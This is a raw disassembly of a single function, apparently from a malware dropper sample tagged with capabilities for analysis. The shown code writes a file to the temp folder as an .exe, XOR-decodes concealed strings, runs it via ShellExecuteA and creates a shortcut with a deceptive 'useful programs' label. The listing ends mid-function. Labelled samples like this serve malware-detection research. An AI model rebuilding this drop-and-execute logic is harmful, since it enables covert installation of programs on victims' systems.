Function at 0x403b40
Capabilities:
Create process on windows
Create shortcut via ishelllink
Encode data using xor
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421804
mov eax, dword fs:[0]
push eax
sub esp, 0x570
mov eax, dword [0x42c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x52a], cl
mov dword [ebp - 4], 9
lea eax, [ebp - 0x3dc]
cmp dword [ebp + 0x64], 0x10
lea esi, [ebp + 0x50]
push 0x148
cmovae esi, dword [ebp + 0x50]
push 0
push eax
mov byte [ebp - 0x529], 0
call fcn.0040da90
push str.1BEF0A57BE110FD467A
lea eax, [ebp - 0x3cc]
mov dword [ebp - 0x3d0], esi
push 0x14
push eax
call fcn.0040ff31
push 0x7a120
mov dword [ebp - 0x3d8], 0x7a120
call fcn.0040c20b
push dword [ebp - 0x3d8]
mov dword [ebp - 0x3dc], eax
push 0
push eax
call fcn.0040da90
add esp, 0x28
mov dword [ebp - 0x3b8], 0xfde9
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x3a0], 0
mov dword [ebp - 0x39c], 0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x234]
push 0
push 0x428f58
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
call fcn.00402bb0
mov byte [ebp - 4], 0xb
cmp dword [0x42ca60], 0
jne 0x403e1f
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.0040da90
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403c80
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x234]
call fcn.00402bb0
push 4
push str..exe
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
call fcn.00402bb0
push ecx
mov byte [ebp - 4], 0xf
call fcn.0040bb50
mov edx, eax
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403ce0
sub ecx, esi
push ecx
push edx
push ecx
lea ecx, [ebp - 0x264]
call fcn.0040af90
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
movups xmmword [ebp - 0x24c], xmm1
mov byte [eax], 0
movq qword [ebp - 0x23c], xmm0
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0x24c]
cmp dword [ebp - 0x238], 0x10
mov eax, dword [ebp - 0x220]
mov esi, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x23c]
movd edi, xmm1
push ecx
cmovae edx, edi
sub eax, esi
push edx
cmp ecx, eax
ja 0x403d85
cmp dword [ebp - 0x220], 0x10
lea eax, [ecx + esi]
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x234]
cmovae eax, dword [ebp - 0x234]
add esi, eax
push esi
call fcn.0040f0f0
mov eax, dword [ebp - 0x23c]
add esp, 0xc
mov byte [eax + esi], 0
jmp 0x403da4
mov byte [ebp - 0x21c], 0
push dword [ebp - 0x21c]
push ecx
lea ecx, [ebp - 0x234]
call fcn.00402df0
mov edi, dword [ebp - 0x24c]
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x238]
cmp eax, 0x10
jb 0x403dde
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x403dd4
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40502f
push ecx
push edi
call fcn.0040c1fd
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x250]
cmp edx, 0x10
jb 0x403fdd
mov ecx, dword [ebp - 0x264]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403fd3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405034
jmp 0x403fd3
push 4
push str..exe
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
call fcn.00402bb0
push ecx
mov byte [ebp - 4], 0xc
call fcn.0040bb50
push eax
mov edx, 0x42ca50
lea ecx, [ebp - 0x554]
call fcn.0040a6b0
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 0xd
push ecx
mov edx, eax
lea ecx, [ebp - 0x24c]
call fcn.0040a400
add esp, 8
mov byte [ebp - 4], 0xe
mov ecx, eax
cmp dword [eax + 0x14], 0x10
jb 0x403e90
mov ecx, dword [eax]
mov edi, dword [eax + 0x10]
mov esi, dword [ebp - 0x220]
mov eax, esi
mov edx, dword [ebp - 0x224]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x403ed4
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x234]
cmovae eax, dword [ebp - 0x234]
lea esi, [eax + edx]
push esi
call fcn.0040f0f0
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x403eed
mov byte [ebp - 0x21c], 0
lea ecx, [ebp - 0x234]
push dword [ebp - 0x21c]
push edi
call fcn.00402df0
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x238]
cmp edx, 0x10
jb 0x403f2b
mov ecx, dword [ebp - 0x24c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403f21
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405039
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x540]
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0xf
mov byte [ebp - 0x24c], 0
cmp edx, 0x10
jb 0x403f84
mov ecx, dword [ebp - 0x554]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403f7a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40503e
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x250]
mov dword [ebp - 0x544], 0
mov dword [ebp - 0x540], 0xf
mov byte [ebp - 0x554], 0
cmp edx, 0x10
jb 0x403fdd
mov ecx, dword [ebp - 0x264]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403fd3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405043
push edx
push ecx
call fcn.0040c1fd
add esp, 8
cmp dword [ebp - 0x220], 0x10
lea ecx, [ebp - 0x294]
lea eax, [ebp - 0x234]
cmovae eax, dword [ebp - 0x234]
push ecx
push eax
call fcn.00410d4e
add esp, 8
test eax, eax
jne 0x404022
cmp dword [ebp - 0x220], 0x10
lea eax, [ebp - 0x234]
cmovae eax, dword [ebp - 0x234]
push eax
call fcn.00410541
add esp, 4
cmp dword [ebp + 0x64], 0x10
lea eax, [ebp - 0x524]
push 0x148
push 0
lea esi, [ebp + 0x50]
cmovae esi, dword [ebp + 0x50]
push eax
call fcn.0040da90
push str.1BEF0A57BE110FD467A
lea eax, [ebp - 0x514]
mov dword [ebp - 0x518], esi
push 0x14
push eax
call fcn.0040ff31
push 0x7a120
mov dword [ebp - 0x520], 0x7a120
call fcn.0040c20b
push dword [ebp - 0x520]
mov dword [ebp - 0x524], eax
push 0
push eax
call fcn.0040da90
add esp, 0x28
mov dword [ebp - 0x500], 0xfde9
mov dword [ebp - 0x4ec], 0
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4e4], 0
mov byte [ebp - 4], 0x11
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp - 0x4f8]
cmovae esi, dword [ebp + 8]
mov dword [ebp - 0x4f0], 0
test eax, eax
je 0x4040e2
push eax
call fcn.0040c0a7
add esp, 4
mov dword [ebp - 0x4f8], 0
push esi
lea ecx, [ebp - 0x524]
call fcn.00402600
test eax, eax
je 0x40485b
mov edx, dword [ebp - 0x4fc]
xor eax, eax
cmp dword [ebp - 0x4f0], eax
mov dword [ebp - 0x23c], eax
cmove edx, eax
mov dword [ebp - 0x238], 0xf
mov ecx, edx
mov byte [ebp - 0x24c], al
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404122
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x24c]
call fcn.00402bb0
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x23c], 4
mov edx, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x24c]
jbe 0x404829
cmp edx, 0x10
lea eax, [ebp - 0x24c]
cmovae eax, ecx
cmp byte [eax], 0x6c
jne 0x404829
cmp edx, 0x10
lea eax, [ebp - 0x24c]
cmovae eax, ecx
cmp byte [eax + 1], 0x6e
jne 0x404829
cmp edx, 0x10
lea eax, [ebp - 0x24c]
cmovae eax, ecx
cmp byte [eax + 2], 0x6b
jne 0x404829
cmp edx, 0x10
lea eax, [ebp - 0x24c]
cmovae eax, ecx
cmp byte [eax + 3], 0x3a
jne 0x404829
push 4
push str.lnk:
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
call fcn.00402bb0
lea edx, [ebp - 0x264]
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x24c]
call fcn.00403710
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x250]
cmp edx, 0x10
jb 0x40422c
mov ecx, dword [ebp - 0x264]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404222
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405048
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov eax, dword [ebp + 0xa8]
add eax, dword [ebp + 0x90]
add eax, dword [ebp + 0x78]
je 0x40428d
sub esp, 0x18
lea eax, [ebp + 0x98]
mov ecx, esp
mov dword [ebp - 0x530], esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp + 0x80]
mov dword [ebp - 0x21c], esp
mov ecx, esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x15
lea eax, [ebp + 0x68]
mov ecx, esp
push eax
call fcn.00409fa0
mov byte [ebp - 4], 0x12
call fcn.00406880
add esp, 0x48
mov eax, dword [ebp + 0xd8]
add eax, dword [ebp + 0xc0]
je 0x4042d5
sub esp, 0x18
lea eax, [ebp + 0xc8]
mov ecx, esp
mov dword [ebp - 0x530], esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x16
lea eax, [ebp + 0xb0]
mov ecx, esp
push eax
call fcn.00409fa0
xor ecx, ecx
mov byte [ebp - 4], 0x12
call fcn.004070f0
add esp, 0x30
cmp dword [ebp + 0xf0], 0
jbe 0x4042f7
sub esp, 0x18
lea eax, [ebp + 0xe0]
mov ecx, esp
push eax
call fcn.00409fa0
call fcn.00407400
add esp, 0x18
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x530], esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x428f58
mov byte [ecx], 0
call fcn.00402bb0
sub esp, 0x18
mov byte [ebp - 4], 0x17
mov ecx, esp
mov dword [ebp - 0x21c], esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x428f58
mov byte [ecx], 0
call fcn.00402bb0
sub esp, 0x18
mov byte [ebp - 4], 0x18
mov ecx, esp
mov dword [ebp - 0x528], esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x428f58
mov byte [ecx], 0
call fcn.00402bb0
sub esp, 0x18
mov byte [ebp - 4], 0x19
mov ecx, esp
mov dword [ebp - 0x55c], esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x428f58
mov byte [ecx], 0
call fcn.00402bb0
sub esp, 0x18
mov byte [ebp - 4], 0x1a
mov ecx, esp
mov dword [ebp - 0x560], esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x428f58
mov byte [ecx], 0
call fcn.00402bb0
sub esp, 0x18
mov byte [ebp - 4], 0x1b
mov ecx, esp
mov dword [ebp - 0x564], esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x428f58
mov byte [ecx], 0
call fcn.00402bb0
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea eax, [ebp + 0x50]
mov dword [ebp - 0x558], esp
mov ecx, esp
mov byte [ebp - 0x529], 1
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x1d
lea eax, [ebp + 0x38]
mov dword [ebp - 0x538], esp
mov ecx, esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x1e
lea eax, [ebp + 0x20]
mov dword [ebp - 0x53c], esp
mov ecx, esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0x24c]
mov ecx, esp
push eax
call fcn.00409fa0
mov cl, byte [ebp - 0x529]
mov byte [ebp - 4], 0x12
call fcn.00403b40
mov edx, dword [ebp - 0x238]
add esp, 0xf0
mov byte [ebp - 0x529], al
cmp edx, 0x10
jb 0x4044b4
mov ecx, dword [ebp - 0x24c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4044aa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40504d
push edx
push ecx
call fcn.0040c1fd
add esp, 8
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0xf
mov byte [ebp - 0x24c], 0
call fcn.00401fc0
mov edx, dword [ebp - 0x220]
cmp edx, 0x10
jb 0x404514
mov ecx, dword [ebp - 0x234]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40450a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405052
push edx
push ecx
call fcn.0040c1fd
add esp, 8
lea ecx, [ebp - 0x3dc]
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
call fcn.00401fc0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x40456e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404564
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405057
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4045b4
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4045aa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40505c
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x4045fa
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4045f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405061
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0x64]
mov dword [ebp + 0x48], 0
mov dword [ebp + 0x4c], 0xf
mov byte [ebp + 0x38], 0
cmp edx, 0x10
jb 0x404640
mov ecx, dword [ebp + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404636
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405066
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0x7c]
mov dword [ebp + 0x60], 0
mov dword [ebp + 0x64], 0xf
mov byte [ebp + 0x50], 0
cmp edx, 0x10
jb 0x404686
mov ecx, dword [ebp + 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40467c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40506b
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0x94]
mov dword [ebp + 0x78], 0
mov dword [ebp + 0x7c], 0xf
mov byte [ebp + 0x68], 0
cmp edx, 0x10
jb 0x4046d2
mov ecx, dword [ebp + 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4046c8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405070
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0xac]
mov dword [ebp + 0x90], 0
mov dword [ebp + 0x94], 0xf
mov byte [ebp + 0x80], 0
cmp edx, 0x10
jb 0x404727
mov ecx, dword [ebp + 0x98]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40471d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405075
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0xc4]
mov dword [ebp + 0xa8], 0
mov dword [ebp + 0xac], 0xf
mov byte [ebp + 0x98], 0
cmp edx, 0x10
jb 0x40477c
mov ecx, dword [ebp + 0xb0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404772
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40507a
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0xdc]
mov dword [ebp + 0xc0], 0
mov dword [ebp + 0xc4], 0xf
mov byte [ebp + 0xb0], 0
cmp edx, 0x10
jb 0x4047d1
mov ecx, dword [ebp + 0xc8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4047c7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40507f
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0xf4]
mov dword [ebp + 0xd8], 0
mov dword [ebp + 0xdc], 0xf
mov byte [ebp + 0xc8], 0
cmp edx, 0x10
jb 0x40500e
mov ecx, dword [ebp + 0xe0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405004
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405084
jmp 0x405004
mov byte [ebp - 4], 0x11
cmp edx, 0x10
jb 0x40485b
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404851
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405089
push edx
push ecx
call fcn.0040c1fd
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea esi, [ebp + 8]
mov eax, dword [ebp - 0x3b0]
cmovae esi, dword [ebp + 8]
mov dword [ebp - 0x3a8], 0
test eax, eax
je 0x40488d
push eax
call fcn.0040c0a7
add esp, 4
mov dword [ebp - 0x3b0], 0
push esi
lea ecx, [ebp - 0x3dc]
call fcn.00402600
mov edi, dword [sym.imp.ole32.dll_CoUninitialize]
test eax, eax
je 0x404f5e
cmp dword [ebp - 0x3b4], 0
je 0x404f5e
mov eax, dword [ebp - 0x3a8]
test eax, eax
je 0x404f5e
cmp eax, 0x14
jle 0x404f5e
cmp eax, 0x1200
jne 0x404b92
sub esp, 0x18
lea eax, [ebp + 0x98]
mov ecx, esp
mov dword [ebp - 0x534], esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x20
lea eax, [ebp + 0x80]
mov dword [ebp - 0x53c], esp
mov ecx, esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x21
lea eax, [ebp + 0x68]
mov dword [ebp - 0x538], esp
mov ecx, esp
push eax
call fcn.00409fa0
sub esp, 0x18
mov byte [ebp - 4], 0x22
lea eax, [ebp + 0xc8]
mov ecx, esp
push eax
call fcn.00409fa0
mov ecx, 1
mov byte [ebp - 4], 0x11
call fcn.00405a90
add esp, 0x60
cmp byte [ebp - 0x52a], 0
jne 0x40508e
push dword [ebp - 0x524]
call fcn.0040c0a7
push dword [ebp - 0x4fc]
call fcn.0040c0a7
push dword [ebp - 0x4f8]
call fcn.0040c0a7
add esp, 0xc
mov esi, edi
call esi
mov edx, dword [ebp - 0x220]
cmp edx, 0x10
jb 0x4049b5
mov ecx, dword [ebp - 0x234]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4049ab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4050f8
push edx
push ecx
call fcn.0040c1fd
add esp, 8
push dword [ebp - 0x3dc]
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
call fcn.0040c0a7
push dword [ebp - 0x3b4]
call fcn.0040c0a7
push dword [ebp - 0x3b0]
call fcn.0040c0a7
add esp, 0xc
call esi
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x404a2a
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404a20
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4050fd
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x404a70
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404a66
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405102
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x404ab6
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404aac
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405107
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0x64]
mov dword [ebp + 0x48], 0
mov dword [ebp + 0x4c], 0xf
mov byte [ebp + 0x38], 0
cmp edx, 0x10
jb 0x404afc
mov ecx, dword [ebp + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404af2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40510c
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp + 0x7c]
mov dword [ebp + 0x60], 0
mov dword [ebp + 0x64], 0xf
mov byte [ebp + 0x50], 0
cmp edx, 0x10
jb 0x404b42
mov ecx, dword [ebp + 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404b38
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405111
push edx
push ecx
call fcn.0040c1fd
add esp, 8
lea ecx, [ebp + 0x80]
mov dword [ebp + 0x78], 0
mov dword [ebp + 0x7c], 0xf
mov byte [ebp + 0x68], 0
call fcn.00402950
lea ecx, [ebp + 0x98]
call fcn.00402950
lea ecx, [ebp + 0xb0]
call fcn.00402950
lea ecx, [ebp + 0xc8]
call fcn.00402950
lea ecx, [ebp + 0xe0]
call fcn.00402950
mov al, 1
jmp 0x405014
cmp dword [ebp - 0x220], 0x10
lea eax, [ebp - 0x234]
push 0
cmovae eax, dword [ebp - 0x234]
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x404bf3
push 0
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x21c], 0
push eax
push dword [ebp - 0x3a8]
push dword [ebp - 0x3b4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x30], 0
je 0x404c24
lea eax, [ebp + 0x20]
mov edx, 0x429028
push eax
lea ecx, [ebp - 0x554]
call fcn.0040a500
add esp, 4
lea ecx, [ebp + 0x20]
push eax
call fcn.004029a0
lea ecx, [ebp - 0x554]
call fcn.00402950
mov eax, dword fs:[0x2c]
mov byte [ebp - 0x52a], 0x2e
mov esi, dword [eax]
mov eax, dword [0x42d7bc]
cmp eax, dword [esi + 4]
jle 0x404c86
push 0x42d7bc
call fcn.0040c3ad
add esp, 4
cmp dword [0x42d7bc], 0xffffffff
jne 0x404c86
movaps xmm0, xmmword [0x429530]
mov al, byte [ebp - 0x52a]
push 0x422480
movups xmmword [0x42d6ec], xmm0
mov byte [0x42d6fc], al
call fcn.0040c807
push 0x42d7bc
call fcn.0040c363
add esp, 8
mov al, byte [0x42d6fc]
test al, al
je 0x404caf
movups xmm0, xmmword [0x42d6ec]
xor al, 0x2e
movaps xmm1, xmmword [0x429580]
pxor xmm1, xmm0
mov byte [0x42d6fc], al
movups xmmword [0x42d6ec], xmm1
mov ecx, 0x42d6ec
mov dword [ebp - 0x544], 0
mov dword [ebp - 0x540], 0xf
mov byte [ebp - 0x554], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404cd2
sub ecx, edx
push ecx
push 0x42d6ec
lea ecx, [ebp - 0x554]
call fcn.00402bb0
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 0x25
push eax
lea edx, [ebp - 0x554]
lea ecx, [ebp - 0x57c]
call fcn.0040a360
push 0x42902c
mov edx, eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x24c]
call fcn.0040a800
lea ecx, [ebp + 0x20]
mov byte [ebp - 4], 0x27
push ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.0040a360
add esp, 0xc
lea ecx, [ebp - 0x24c]
call fcn.00402950
lea ecx, [ebp - 0x57c]
call fcn.00402950
lea ecx, [ebp - 0x554]
mov byte [ebp - 4], 0x2b
call fcn.00402950
cmp dword [ebp - 0x250], 0x10
lea ecx, [ebp - 0x264]
movaps xmm0, xmmword [0x4295d0]
cmovae ecx, dword [ebp - 0x264]
mov eax, dword [0x42d700]
mov dword [ebp - 0x528], ecx
movups xmmword [ebp - 0x280], xmm0
mov dword [ebp - 0x270], 0x721c1d43
mov dword [ebp - 0x26c], 0x4a434d
mov dword [ebp - 0x268], 0x2e4b564b
cmp eax, dword [esi + 4]
jle 0x404df4
push 0x42d700
call fcn.0040c3ad
add esp, 4
cmp dword [0x42d700], 0xffffffff
jne 0x404dee
push 0x1c
lea eax, [ebp - 0x280]
push eax
push 0x42d6d0
call fcn.0040f7b0
push 0x422460
call fcn.0040c807
push 0x42d700
call fcn.0040c363
add esp, 0x14
mov ecx, dword [ebp - 0x528]
cmp byte [0x42d6eb], 0
je 0x404e2d
movups xmm0, xmmword [0x42d6d0]
mov eax, 0x10
movaps xmm1, xmmword [0x429580]
pxor xmm1, xmm0
movups xmmword [0x42d6d0], xmm1
nop dword [eax + eax]
xor byte [eax + 0x42d6d0], 0x2e
inc eax
cmp eax, 0x1c
jb 0x404e20
push 0
push 0
push ecx
push 0x42d6d0
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [ebp + 0x48], 0
mov ecx, dword [ebp + 0x4c]
mov edx, dword [ebp + 0x38]
je 0x404f4c
cmp ecx, 0x10
lea esi, [ebp + 0x38]
push 0
cmovae esi, edx
cmp dword [ebp - 0x220], 0x10
lea edx, [ebp - 0x234]
cmovae edx, dword [ebp - 0x234]
mov dword [ebp - 0x21c], edx
lea edx, [ebp - 0x234]
cmovae edx, dword [ebp - 0x234]
mov dword [ebp - 0x530], edx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x528]
push eax
push 0x423270
push 1
push 0
push 0x4232a0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x404f4c
mov eax, dword [ebp - 0x528]
push dword [ebp - 0x21c]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x528]
push str.Quick_installation_of_useful_programs
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x528]
